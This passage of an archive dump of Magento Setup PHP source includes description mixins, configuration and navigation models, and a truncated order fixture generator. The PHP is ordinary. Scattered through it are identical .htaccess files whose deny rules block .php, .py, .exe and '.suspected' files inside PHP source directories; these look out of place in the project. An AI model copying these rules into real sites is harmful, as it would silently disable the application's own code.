@var \Magento\Framework\ObjectManagerInterface */ private $objectManager; /** * @param \Magento\Framework\ObjectManagerInterface $objectManager * @throws \Magento\Setup\Exception */ public function __construct(\Magento\Framework\ObjectManagerInterface $objectManager) { $this->objectManager = $objectManager; } /** * Create mixin by type * * @param string $mixinType * @return \Magento\Setup\Model\Description\Mixin\DescriptionMixinInterface * @throws \InvalidArgumentException */ public function create($mixinType) { if (!isset($this->typeClassMap[$mixinType])) { throw new \InvalidArgumentException(sprintf('Undefined mixin type: %s.', $mixinType)); } $mixin = $this->objectManager->get($this->typeClassMap[$mixinType]); if (!$mixin instanceof \Magento\Setup\Model\Description\Mixin\DescriptionMixinInterface) { throw new \InvalidArgumentException( sprintf( 'Class "%s" must implement \Magento\Setup\Model\Description\Mixin\DescriptionMixinInterface.', get_class($mixin) ) ); } return $mixin; } } Magento/Setup/Model/Description/Mixin/DescriptionMixinInterface.php000077700000000602151323623130021473 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Description\Mixin; /** * Interface for Description mixin */ interface DescriptionMixinInterface { /** * Apply mixin logic to block of text * * @param string $text * @return string */ public function apply($text); } Magento/Setup/Model/Description/Mixin/BoldMixin.php000077700000002742151323623130016256 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Description\Mixin; /** * Add bold html tag in random position to description */ class BoldMixin implements DescriptionMixinInterface { /** * @var \Magento\Setup\Model\Description\Mixin\Helper\RandomWordSelector */ private $randomWordSelector; /** * @var \Magento\Setup\Model\Description\Mixin\Helper\WordWrapper */ private $wordWrapper; /** * @param \Magento\Setup\Model\Description\Mixin\Helper\RandomWordSelector $randomWordSelector * @param \Magento\Setup\Model\Description\Mixin\Helper\WordWrapper $wordWrapper */ public function __construct( \Magento\Setup\Model\Description\Mixin\Helper\RandomWordSelector $randomWordSelector, \Magento\Setup\Model\Description\Mixin\Helper\WordWrapper $wordWrapper ) { $this->randomWordSelector = $randomWordSelector; $this->wordWrapper = $wordWrapper; } /** * Add <b></b> tag to text at random positions * * @param string $text * @return string */ public function apply($text) { if (empty(strip_tags(trim($text)))) { return $text; } $rawText = strip_tags($text); return $this->wordWrapper->wrapWords( $text, $this->randomWordSelector->getRandomWords($rawText, mt_rand(5, 8)), '<b>%s</b>' ); } } Magento/Setup/Model/Description/Mixin/ParagraphMixin.php000077700000001123151323623130017273 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Description\Mixin; /** * Add paragraph html tag to description */ class ParagraphMixin implements DescriptionMixinInterface { /** * Wrap each new line with <p></p> tags * * @param string $text * @return string */ public function apply($text) { return '<p>' . implode( '</p>' . PHP_EOL . '<p>', explode(PHP_EOL, trim($text)) ) . '</p>'; } } Magento/Setup/Model/Description/Mixin/SpanMixin.php000077700000002733151323623130016277 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Description\Mixin; /** * Add span html tag to description */ class SpanMixin implements DescriptionMixinInterface { /** * @var \Magento\Setup\Model\Description\Mixin\Helper\RandomWordSelector */ private $randomWordSelector; /** * @var \Magento\Setup\Model\Description\Mixin\Helper\WordWrapper */ private $wordWrapper; /** * @param \Magento\Setup\Model\Description\Mixin\Helper\RandomWordSelector $randomWordSelector * @param \Magento\Setup\Model\Description\Mixin\Helper\WordWrapper $wordWrapper */ public function __construct( \Magento\Setup\Model\Description\Mixin\Helper\RandomWordSelector $randomWordSelector, \Magento\Setup\Model\Description\Mixin\Helper\WordWrapper $wordWrapper ) { $this->randomWordSelector = $randomWordSelector; $this->wordWrapper = $wordWrapper; } /** * Add <span></span> tag to text at random positions * * @param string $text * @return string */ public function apply($text) { if (empty(strip_tags(trim($text)))) { return $text; } $rawText = strip_tags($text); return $this->wordWrapper->wrapWords( $text, $this->randomWordSelector->getRandomWords($rawText, mt_rand(5, 8)), '<span>%s</span>' ); } } Magento/Setup/Model/Description/Mixin/BrakeMixin.php000077700000001066151323623130016420 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Description\Mixin; /** * Add brake html tag to each new line to description */ class BrakeMixin implements DescriptionMixinInterface { /** * Add </br> tag to text after each new line (\r\n) * * @param string $text * @return string */ public function apply($text) { return implode( PHP_EOL . '</br>' . PHP_EOL, explode(PHP_EOL, trim($text)) ); } } Magento/Setup/Model/Description/Mixin/ItalicMixin.php000077700000002723151323623130016602 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Description\Mixin; /** * Add italic html tag to description */ class ItalicMixin implements DescriptionMixinInterface { /** * @var \Magento\Setup\Model\Description\Mixin\Helper\RandomWordSelector */ private $randomWordSelector; /** * @var \Magento\Setup\Model\Description\Mixin\Helper\WordWrapper */ private $wordWrapper; /** * @param \Magento\Setup\Model\Description\Mixin\Helper\RandomWordSelector $randomWordSelector * @param \Magento\Setup\Model\Description\Mixin\Helper\WordWrapper $wordWrapper */ public function __construct( \Magento\Setup\Model\Description\Mixin\Helper\RandomWordSelector $randomWordSelector, \Magento\Setup\Model\Description\Mixin\Helper\WordWrapper $wordWrapper ) { $this->randomWordSelector = $randomWordSelector; $this->wordWrapper = $wordWrapper; } /** * Add <i></i> tag to text at random positions * * @param string $text * @return string */ public function apply($text) { if (empty(strip_tags(trim($text)))) { return $text; } $rawText = strip_tags($text); return $this->wordWrapper->wrapWords( $text, $this->randomWordSelector->getRandomWords($rawText, mt_rand(5, 8)), '<i>%s</i>' ); } } Magento/Setup/Model/Description/Mixin/Helper/RandomWordSelector.php000077700000001370151323623130021361 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Description\Mixin\Helper; /** * Return random words from source */ class RandomWordSelector { /** * Return $count random words from $source * * @param string $source * @param int $count * @return array */ public function getRandomWords($source, $count) { $words = str_word_count($source, 1); if (empty($words)) { return []; } $randWords = []; $wordsSize = count($words); while ($count) { $randWords[] = $words[mt_rand(0, $wordsSize - 1)]; $count--; } return $randWords; } } Magento/Setup/Model/Description/Mixin/Helper/WordWrapper.php000077700000001177151323623130020065 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Description\Mixin\Helper; /** * Apply specific format to words from source */ class WordWrapper { /** * Wrap $words with $format in $source * * @param string $source * @param array $words * @param string $format * @return string */ public function wrapWords($source, array $words, $format) { return empty($words) ? $source : preg_replace("/\\b(" . implode('|', $words) . ")\\b/", sprintf($format, '$1'), $source); } } Magento/Setup/Model/Description/Mixin/Helper/.htaccess000077700000000177151323623130016675 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Model/Description/Mixin/.htaccess000077700000000177151323623130015456 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Model/Description/Mixin/HeaderMixin.php000077700000001640151323623130016562 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Description\Mixin; /** * Add header html tag to description */ class HeaderMixin implements DescriptionMixinInterface { /** * Add <h1> header with text before each new line (\r\n) * * @param string $text * @return string */ public function apply($text) { $paragraphs = explode(PHP_EOL, trim($text)); $magicLengthNumber = 10; foreach ($paragraphs as &$paragraph) { $rawText = trim(strip_tags($paragraph)); if (empty($rawText)) { continue; } $headerText = substr($rawText, 0, strpos($rawText, ' ', $magicLengthNumber)); $paragraph = '<h1>' . $headerText . '</h1>' . PHP_EOL . $paragraph; } return implode(PHP_EOL, $paragraphs); } } Magento/Setup/Model/Description/DescriptionGenerator.php000077700000004272151323623130017437 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Description; /** * Generate random description based on configuration */ class DescriptionGenerator { /** * @var \Magento\Setup\Model\Description\DescriptionParagraphGenerator */ private $paragraphGenerator; /** * @var \Magento\Setup\Model\Description\MixinManager */ private $mixinManager; /** * @var array */ private $descriptionConfig; /** * @param \Magento\Setup\Model\Description\DescriptionParagraphGenerator $paragraphGenerator * @param \Magento\Setup\Model\Description\MixinManager $mixinManager * @param array $descriptionConfig */ public function __construct( \Magento\Setup\Model\Description\DescriptionParagraphGenerator $paragraphGenerator, \Magento\Setup\Model\Description\MixinManager $mixinManager, array $descriptionConfig ) { $this->paragraphGenerator = $paragraphGenerator; $this->mixinManager = $mixinManager; $this->descriptionConfig = $descriptionConfig; } /** * Generate description and apply mixin to it * * @return string */ public function generate() { $description = $this->generateRawDescription(); if (isset($this->descriptionConfig['mixin'])) { $description = $this->mixinManager->apply($description, $this->descriptionConfig['mixin']['tags']); } return $description; } /** * Generate raw description without mixin * * @return string */ private function generateRawDescription() { $paragraphsCount = mt_rand( $this->descriptionConfig['paragraphs']['count-min'], $this->descriptionConfig['paragraphs']['count-max'] ); $descriptionParagraphs = ''; while ($paragraphsCount) { $descriptionParagraphs .= $this->paragraphGenerator->generate(); $descriptionParagraphs .= PHP_EOL; $paragraphsCount--; } $descriptionParagraphs = rtrim($descriptionParagraphs); return $descriptionParagraphs; } } Magento/Setup/Model/Description/.htaccess000077700000000177151323623130014372 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Model/ConfigModel.php000077700000011522151323623130013204 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Config\Data\ConfigData; use Magento\Framework\App\DeploymentConfig\Writer; use Magento\Framework\Setup\Option\AbstractConfigOption; use Magento\Framework\Setup\FilePermissions; class ConfigModel { /** * @var \Magento\Setup\Model\ConfigOptionsListCollector */ protected $collector; /** * @var \Magento\Framework\App\DeploymentConfig\Writer */ protected $writer; /** * File permissions checker * * @var FilePermissions */ private $filePermissions; /** * @var \Magento\Framework\App\DeploymentConfig */ protected $deploymentConfig; /** * Constructor * * @param ConfigOptionsListCollector $collector * @param Writer $writer * @param DeploymentConfig $deploymentConfig * @param FilePermissions $filePermissions */ public function __construct( ConfigOptionsListCollector $collector, Writer $writer, DeploymentConfig $deploymentConfig, FilePermissions $filePermissions ) { $this->collector = $collector; $this->writer = $writer; $this->filePermissions = $filePermissions; $this->deploymentConfig = $deploymentConfig; } /** * Gets available config options * * @return AbstractConfigOption[] */ public function getAvailableOptions() { /** @var AbstractConfigOption[] $optionCollection */ $optionCollection = []; $optionLists = $this->collector->collectOptionsLists(); foreach ($optionLists as $optionList) { $optionCollection = array_merge($optionCollection, $optionList->getOptions()); } foreach ($optionCollection as $option) { $currentValue = $this->deploymentConfig->get($option->getConfigPath()); if ($currentValue !== null) { $option->setDefault(); } } return $optionCollection; } /** * Process input options * * @param array $inputOptions * @return void * @throws \Exception */ public function process($inputOptions) { $this->checkInstallationFilePermissions(); $options = $this->collector->collectOptionsLists(); foreach ($options as $moduleName => $option) { $configData = $option->createConfig($inputOptions, $this->deploymentConfig); foreach ($configData as $config) { $fileConfigStorage = []; if (!$config instanceof ConfigData) { throw new \Exception( 'In module : ' . $moduleName . 'ConfigOption::createConfig should return an array of ConfigData instances' ); } if (isset($fileConfigStorage[$config->getFileKey()])) { $fileConfigStorage[$config->getFileKey()] = array_replace_recursive( $fileConfigStorage[$config->getFileKey()], $config->getData() ); } else { $fileConfigStorage[$config->getFileKey()] = $config->getData(); } $this->writer->saveConfig($fileConfigStorage, $config->isOverrideWhenSave()); } } } /** * Validates Input Options * * @param array $inputOptions * @return array */ public function validate(array $inputOptions) { $errors = []; //Basic types validation $options = $this->getAvailableOptions(); foreach ($options as $option) { try { if ($inputOptions[$option->getName()] !== null) { $option->validate($inputOptions[$option->getName()]); } } catch (\InvalidArgumentException $e) { $errors[] = $e->getMessage(); } } // validate ConfigOptionsList $options = $this->collector->collectOptionsLists(); foreach ($options as $option) { $errors = array_merge($errors, $option->validate($inputOptions, $this->deploymentConfig)); } return $errors; } /** * Check permissions of directories that are expected to be writable for installation * * @return void * @throws \Exception */ private function checkInstallationFilePermissions() { $results = $this->filePermissions->getMissingWritablePathsForInstallation(); if ($results) { $errorMsg = "Missing write permissions to the following paths:" . PHP_EOL . implode(PHP_EOL, $results); throw new \Exception($errorMsg); } } } Magento/Setup/Model/.htaccess000077700000000177151323623130012107 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Model/PhpInformation.php000077700000002047151323623130013755 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; /** * Class PhpInformation * * Provides information and checks about the current and required PHP settings. */ class PhpInformation { /** * Allowed XDebug nested level */ const XDEBUG_NESTED_LEVEL = 200; /** * List of currently installed extensions * * @var array */ protected $current = []; /** * Returns minimum required XDebug nested level * @return int */ public function getRequiredMinimumXDebugNestedLevel() { return self::XDEBUG_NESTED_LEVEL; } /** * Retrieve list of currently installed extensions * * @return array */ public function getCurrent() { if (!$this->current) { $this->current = array_map(function ($ext) { return str_replace(' ', '-', strtolower($ext)); }, get_loaded_extensions()); } return $this->current; } } Magento/Setup/Model/Navigation.php000077700000004161151323623130013116 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Laminas\ServiceManager\ServiceLocatorInterface; use Magento\Framework\App\DeploymentConfig; /** * Navigation model */ class Navigation { /** * Type of navigation */ const NAV_LANDING = 'navLanding'; /** * @var string */ private $navStates; /** * @var string */ private $navType; /** * @var string */ private $titles; /** * @param \Laminas\ServiceManager\ServiceLocatorInterface $serviceLocator */ public function __construct(ServiceLocatorInterface $serviceLocator) { $this->navStates = $serviceLocator->get('config')[self::NAV_LANDING]; $this->navType = self::NAV_LANDING; $this->titles = $serviceLocator->get('config')[self::NAV_LANDING . 'Titles']; } /** * Get type * * @return string */ public function getType() { return $this->navType; } /** * Get data * * @return array */ public function getData() { return $this->navStates; } /** * Retrieve array of menu items * * Returns only items with 'nav' equal to TRUE * * @return array */ public function getMenuItems() { return array_values(array_filter( $this->navStates, function ($value) { return isset($value['nav']) && (bool)$value['nav']; } )); } /** * Retrieve array of menu items * * Returns only items with 'main' equal to TRUE * * @return array */ public function getMainItems() { $result = array_values(array_filter( $this->navStates, function ($value) { return isset($value['main']) && (bool)$value['main']; } )); return $result; } /** * Returns titles of the navigation pages * * @return array */ public function getTitles() { return $this->titles; } } Magento/Setup/Model/SearchTermDescriptionGenerator.php000077700000003624151323623130017132 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; /** * Class SearchTermDescriptionGenerator * * Class responsible for generation description * and applying search terms to it */ class SearchTermDescriptionGenerator implements DescriptionGeneratorInterface { /** * @var \Magento\Setup\Model\Description\DescriptionGenerator */ private $descriptionGenerator; /** * @var \Magento\Setup\Model\SearchTermManager */ private $searchTermManager; /** * @var string */ private $cachedDescription; /** * @param \Magento\Setup\Model\Description\DescriptionGenerator $descriptionGenerator * @param \Magento\Setup\Model\SearchTermManager $searchTermManager */ public function __construct( \Magento\Setup\Model\Description\DescriptionGenerator $descriptionGenerator, \Magento\Setup\Model\SearchTermManager $searchTermManager ) { $this->descriptionGenerator = $descriptionGenerator; $this->searchTermManager = $searchTermManager; } /** * Generate description with search terms * * @param int $currentProductIndex * @return string */ public function generate($currentProductIndex) { $description = $this->getDescription(); $this->searchTermManager->applySearchTermsToDescription($description, (int) $currentProductIndex); return $description; } /** * Generate new description or use cached one * * @param bool $useCachedDescription * @return string */ private function getDescription($useCachedDescription = true) { if ($useCachedDescription !== true || $this->cachedDescription === null) { $this->cachedDescription = $this->descriptionGenerator->generate(); } return $this->cachedDescription; } } Magento/Setup/Model/SearchConfigFactory.php000077700000001512151323623130014677 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Model; /** * Creates instance of Magento\Setup\Model\SearchConfig class */ class SearchConfigFactory { /** * @var ObjectManagerProvider */ private $objectManagerProvider; /** * @param ObjectManagerProvider $objectManagerProvider */ public function __construct(ObjectManagerProvider $objectManagerProvider) { $this->objectManagerProvider = $objectManagerProvider; } /** * Create SearchConfig instance * * @return SearchConfig * @throws \Magento\Setup\Exception */ public function create(): SearchConfig { return $this->objectManagerProvider->get()->create(SearchConfig::class); } } Magento/Setup/Fixtures/PriceProvider.php000077700000001310151323623130014336 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; /** * Random price provider for fixtures */ class PriceProvider { /** * Get random price for product * * @param int $productIndex * @return float */ public function getPrice($productIndex) { // phpcs:disable mt_srand($productIndex); switch (mt_rand(0, 3)) { case 0: return 9.99; case 1: return 5; case 2: return 1; case 3: return mt_rand(1, 10000) / 10; } // phpcs:enable } } Magento/Setup/Fixtures/OrdersFixture.php000077700000075017151323623130014405 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; use Magento\Catalog\Model\Product\Type; use Magento\ConfigurableProduct\Model\Product\Type\Configurable; /** * Fixture generator for Order entities with configurable number of different types of order items. * * Optionally generates inactive quotes for generated orders. * * Support the following format: * <!-- It is necessary to enable quotes for orders --> * <order_quotes_enable>{bool}</order_quotes_enable> * * <!-- Min number of simple products per each order --> * <order_simple_product_count_from>{int}</order_simple_product_count_from> * * <!-- Max number of simple products per each order --> * <order_simple_product_count_to>{int}</order_simple_product_count_to> * * <!-- Min number of configurable products per each order --> * <order_configurable_product_count_from>{int}</order_configurable_product_count_from> * * <!-- Max number of configurable products per each order --> * <order_configurable_product_count_to>{int}</order_configurable_product_count_to> * * <!-- Min number of big configurable products (with big amount of options) per each order --> * <order_big_configurable_product_count_from>{int}</order_big_configurable_product_count_from> * * <!-- Max number of big configurable products (with big amount of options) per each order --> * <order_big_configurable_product_count_to>{int}</order_big_configurable_product_count_to> * * <!-- Number of orders to generate --> * <orders>{int}</orders> * * @see setup/performance-toolkit/profiles/ce/small.xml * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class OrdersFixture extends Fixture { /** * Batch size for order generation. * * @var string */ const BATCH_SIZE = 1000; /** * Product type for "big" configurable products. * * @var string */ const BIG_CONFIGURABLE_TYPE = 'big_configurable'; /** * Default value for minimum items (simple) per order configuration. * * @var int */ const ORDER_SIMPLE_PRODUCT_COUNT_FROM = 2; /** * Default value for maximum items (simple) per order configuration. * * @var int */ const ORDER_SIMPLE_PRODUCT_COUNT_TO = 2; /** * Default value for minimum items (configurable) per order configuration. * * @var int */ const ORDER_CONFIGURABLE_PRODUCT_COUNT_FROM = 0; /** * Default value for maximum items (configurable) per order configuration. * * @var int */ const ORDER_CONFIGURABLE_PRODUCT_COUNT_TO = 0; /** * Default value for minimum items (big configurable) per order configuration. * * @var int */ const ORDER_BIG_CONFIGURABLE_PRODUCT_COUNT_FROM = 0; /** * Default value for maximum items (big configurable) per order configuration. * * @var int */ const ORDER_BIG_CONFIGURABLE_PRODUCT_COUNT_TO = 0; /** * Fixture execution priority. * * @var int */ protected $priority = 135; /** * INSERT query templates. * * @var array */ private $queryTemplates; /** * Array of resource connections ordered by tables. * * @var \Magento\Framework\DB\Adapter\AdapterInterface[] */ private $resourceConnections; /** * @var \Magento\Store\Model\StoreManagerInterface */ private $storeManager; /** * @var \Magento\Catalog\Model\ResourceModel\Product\CollectionFactory */ private $productCollectionFactory; /** * @var \Magento\Catalog\Api\ProductRepositoryInterface */ private $productRepository; /** * @var \Magento\ConfigurableProduct\Api\OptionRepositoryInterface */ private $optionRepository; /** * @var \Magento\ConfigurableProduct\Api\LinkManagementInterface */ private $linkManagement; /** * @var \Magento\Framework\Serialize\SerializerInterface */ private $serializer; /** * Flag specifies if inactive quotes should be generated for orders. * * @var bool */ private $orderQuotesEnable = true; /** * @param \Magento\Store\Model\StoreManagerInterface $storeManager * @param \Magento\Catalog\Model\ResourceModel\Product\CollectionFactory $productCollectionFactory * @param \Magento\Catalog\Api\ProductRepositoryInterface $productRepository * @param \Magento\ConfigurableProduct\Api\OptionRepositoryInterface $optionRepository * @param \Magento\ConfigurableProduct\Api\LinkManagementInterface $linkManagement * @param \Magento\Framework\Serialize\SerializerInterface $serializer * @param FixtureModel $fixtureModel */ public function __construct( \Magento\Store\Model\StoreManagerInterface $storeManager, \Magento\Catalog\Model\ResourceModel\Product\CollectionFactory $productCollectionFactory, \Magento\Catalog\Api\ProductRepositoryInterface $productRepository, \Magento\ConfigurableProduct\Api\OptionRepositoryInterface $optionRepository, \Magento\ConfigurableProduct\Api\LinkManagementInterface $linkManagement, \Magento\Framework\Serialize\SerializerInterface $serializer, FixtureModel $fixtureModel ) { $this->storeManager = $storeManager; $this->productCollectionFactory = $productCollectionFactory; $this->productRepository = $productRepository; $this->optionRepository = $optionRepository; $this->linkManagement = $linkManagement; $this->serializer = $serializer; parent::__construct($fixtureModel); } /** * @inheritdoc * * Design of Performance Fixture Generators require generator classes to override Fixture Model's execute method. * * @throws \Exception Any exception raised during DB query. * @return void * @SuppressWarnings(PHPMD) */ public function execute() { $orderSimpleCountFrom = (int)$this->fixtureModel->getValue( 'order_simple_product_count_from', self::ORDER_SIMPLE_PRODUCT_COUNT_FROM ); $orderSimpleCountTo = (int)$this->fixtureModel->getValue( 'order_simple_product_count_to', self::ORDER_SIMPLE_PRODUCT_COUNT_TO ); $orderConfigurableCountFrom = (int)$this->fixtureModel->getValue( 'order_configurable_product_count_from', self::ORDER_CONFIGURABLE_PRODUCT_COUNT_FROM ); $orderConfigurableCountTo = (int)$this->fixtureModel->getValue( 'order_configurable_product_count_to', self::ORDER_CONFIGURABLE_PRODUCT_COUNT_TO ); $orderBigConfigurableCountFrom = (int)$this->fixtureModel->getValue( 'order_big_configurable_product_count_from', self::ORDER_BIG_CONFIGURABLE_PRODUCT_COUNT_FROM ); $orderBigConfigurableCountTo = (int)$this->fixtureModel->getValue( 'order_big_configurable_product_count_to', self::ORDER_BIG_CONFIGURABLE_PRODUCT_COUNT_TO ); $this->orderQuotesEnable = (bool)$this->fixtureModel->getValue('order_quotes_enable', true); $entityId = $this->getMaxEntityId( 'sales_order', \Magento\Sales\Model\ResourceModel\Order::class, 'entity_id' ); $requestedOrders = (int)$this->fixtureModel->getValue('orders', 0); if ($requestedOrders - $entityId < 1) { return; } $ruleId = $this->getMaxEntityId( 'salesrule', \Magento\SalesRule\Model\ResourceModel\Rule::class, 'rule_id' ); $maxItemId = $this->getMaxEntityId( 'sales_order_item', \Magento\Sales\Model\ResourceModel\Order\Item::class, 'item_id' ); $maxItemsPerOrder = $orderSimpleCountTo + ($orderConfigurableCountTo + $orderBigConfigurableCountTo) * 2; /** @var \Generator $itemIdSequence */ $itemIdSequence = $this->getItemIdSequence($maxItemId, $requestedOrders, $maxItemsPerOrder); $this->prepareQueryTemplates(); $result = []; foreach ($this->storeManager->getStores() as $store) { $productsResult = []; $this->storeManager->setCurrentStore($store->getId()); if ($orderSimpleCountTo > 0) { $productsResult[Type::TYPE_SIMPLE] = $this->prepareSimpleProducts( $this->getProductIds($store, Type::TYPE_SIMPLE, $orderSimpleCountTo) ); } if ($orderConfigurableCountTo > 0) { $productsResult[Configurable::TYPE_CODE] = $this->prepareConfigurableProducts( $this->getProductIds($store, Configurable::TYPE_CODE, $orderConfigurableCountTo) ); } if ($orderBigConfigurableCountTo > 0) { $productsResult[self::BIG_CONFIGURABLE_TYPE] = $this->prepareConfigurableProducts( $this->getProductIds($store, self::BIG_CONFIGURABLE_TYPE, $orderBigConfigurableCountTo) ); } $result[] = [ $store->getId(), implode(PHP_EOL, [ $this->storeManager->getWebsite($store->getWebsiteId())->getName(), $this->storeManager->getGroup($store->getStoreGroupId())->getName(), $store->getName() ]), $productsResult ]; } $productStoreId = function ($index) use ($result) { return $result[$index % count($result)][0]; }; $productStoreName = function ($index) use ($result) { return $result[$index % count($result)][1]; }; $productId = function ($entityId, $index, $type) use ($result) { return $result[$entityId % count($result)][2][$type][$index]['id']; }; $productSku = function ($entityId, $index, $type) use ($result) { return $result[$entityId % count($result)][2][$type][$index]['sku']; }; $productName = function ($entityId, $index, $type) use ($result) { return $result[$entityId % count($result)][2][$type][$index]['name']; }; $productBuyRequest = function ($entityId, $index, $type) use ($result) { return $result[$entityId % count($result)][2][$type][$index]['buyRequest']; }; $productChildBuyRequest = function ($entityId, $index, $type) use ($result) { return $result[$entityId % count($result)][2][$type][$index]['childBuyRequest']; }; $productChildId = function ($entityId, $index, $type) use ($result) { return $result[$entityId % count($result)][2][$type][$index]['childId']; }; $address = [ '%firstName%' => 'First Name', '%lastName%' => 'Last Name', '%company%' => 'Company', '%address%' => 'Address', '%city%' => 'city', '%state%' => 'Alabama', '%country%' => 'US', '%zip%' => '11111', '%phone%' => '911' ]; $batchNumber = 0; $entityId++; while ($entityId <= $requestedOrders) { $batchNumber++; // phpcs:ignore Magento2.Functions.DiscouragedFunction $productCount = [ Type::TYPE_SIMPLE => mt_rand($orderSimpleCountFrom, $orderSimpleCountTo), Configurable::TYPE_CODE => mt_rand($orderConfigurableCountFrom, $orderConfigurableCountTo), self::BIG_CONFIGURABLE_TYPE => mt_rand($orderBigConfigurableCountFrom, $orderBigConfigurableCountTo) ]; $order = [ '%itemsPerOrder%' => array_sum($productCount), '%orderNumber%' => 100000000 * $productStoreId($entityId) + $entityId, '%email%' => "order_{$entityId}@example.com", '%time%' => date(\Magento\Framework\Stdlib\DateTime::DATETIME_PHP_FORMAT), '%productStoreId%' => $productStoreId($entityId), '%productStoreName%' => $productStoreName($entityId), '%entityId%' => $entityId, '%ruleId%' => $ruleId, ]; $shippingAddress = ['%orderAddressId%' => $entityId * 2 - 1, '%addressType%' => 'shipping']; $billingAddress = ['%orderAddressId%' => $entityId * 2, '%addressType%' => 'billing']; try { $this->query('quote', $order); $this->query('quote_address', $order, $address, $shippingAddress); $this->query('quote_address', $order, $address, $billingAddress); $this->query('quote_payment', $order); $this->query('quote_shipping_rate', $order, $shippingAddress); $this->query('eav_entity_store', $order); $this->query('sales_order', $order); $this->query('sales_order_address', $order, $address, $shippingAddress); $this->query('sales_order_address', $order, $address, $billingAddress); $this->query('sales_order_grid', $order); $this->query('sales_order_payment', $order); $this->query('sales_order_status_history', $order); for ($i = 0; $i < $productCount[Type::TYPE_SIMPLE]; $i++) { $itemData = [ '%productId%' => $productId($entityId, $i, Type::TYPE_SIMPLE), '%sku%' => $productSku($entityId, $i, Type::TYPE_SIMPLE), '%name%' => $productName($entityId, $i, Type::TYPE_SIMPLE), '%itemId%' => $itemIdSequence->current(), '%productType%' => Type::TYPE_SIMPLE, '%productOptions%' => $productBuyRequest($entityId, $i, Type::TYPE_SIMPLE), '%parentItemId%' => 'null', ]; $this->query('sales_order_item', $order, $itemData); $this->query('quote_item', $order, $itemData); $this->query('quote_item_option', $order, $itemData, [ '%code%' => 'info_buyRequest', '%value%' => $this->serializer->serialize([ 'product' => $productId($entityId, $i, Type::TYPE_SIMPLE), 'qty' => "1", 'uenc' => 'aHR0cDovL21hZ2UyLmNvbS9jYXRlZ29yeS0xLmh0bWw' ]) ]); $itemIdSequence->next(); } foreach ([Configurable::TYPE_CODE, self::BIG_CONFIGURABLE_TYPE] as $type) { for ($i = 0; $i < $productCount[$type]; $i++) { // Generate parent item $parentItemId = $itemIdSequence->current(); $itemData = [ '%productId%' => $productId($entityId, $i, $type), '%sku%' => $productSku($entityId, $i, $type), '%name%' => $productName($entityId, $i, $type), '%productOptions%' => $productBuyRequest($entityId, $i, $type)['order'], '%itemId%' => $parentItemId, '%parentItemId%' => 'null', '%productType%' => Configurable::TYPE_CODE ]; $this->query('sales_order_item', $order, $itemData); $this->query('quote_item', $order, $itemData); $this->query('quote_item_option', $order, $itemData, [ '%code%' => 'info_buyRequest', '%value%' => $productBuyRequest($entityId, $i, $type)['quote'] ]); $this->query('quote_item_option', $order, $itemData, [ '%code%' => 'attributes', '%value%' => $productBuyRequest($entityId, $i, $type)['super_attribute'] ]); $itemData['%productId%'] = $productChildId($entityId, $i, $type); $this->query('quote_item_option', $itemData, [ '%code%' => "product_qty_" . $productChildId($entityId, $i, $type), '%value%' => "1" ]); $this->query('quote_item_option', $itemData, [ '%code%' => "simple_product", '%value%' => $productChildId($entityId, $i, $type) ]); $itemIdSequence->next(); // Generate child item $itemData = [ '%productId%' => $productChildId($entityId, $i, $type), '%sku%' => $productSku($entityId, $i, $type), '%name%' => $productName($entityId, $i, $type), '%productOptions%' => $productChildBuyRequest($entityId, $i, $type)['order'], '%itemId%' => $itemIdSequence->current(), '%parentItemId%' => $parentItemId, '%productType%' => Type::TYPE_SIMPLE ]; $this->query('sales_order_item', $order, $itemData); $this->query('quote_item', $order, $itemData); $this->query('quote_item_option', $itemData, [ '%code%' => "info_buyRequest", '%value%' => $productChildBuyRequest($entityId, $i, $type)['quote'] ]); $this->query('quote_item_option', $itemData, [ '%code%' => "parent_product_id", '%value%' => $productId($entityId, $i, $type) ]); 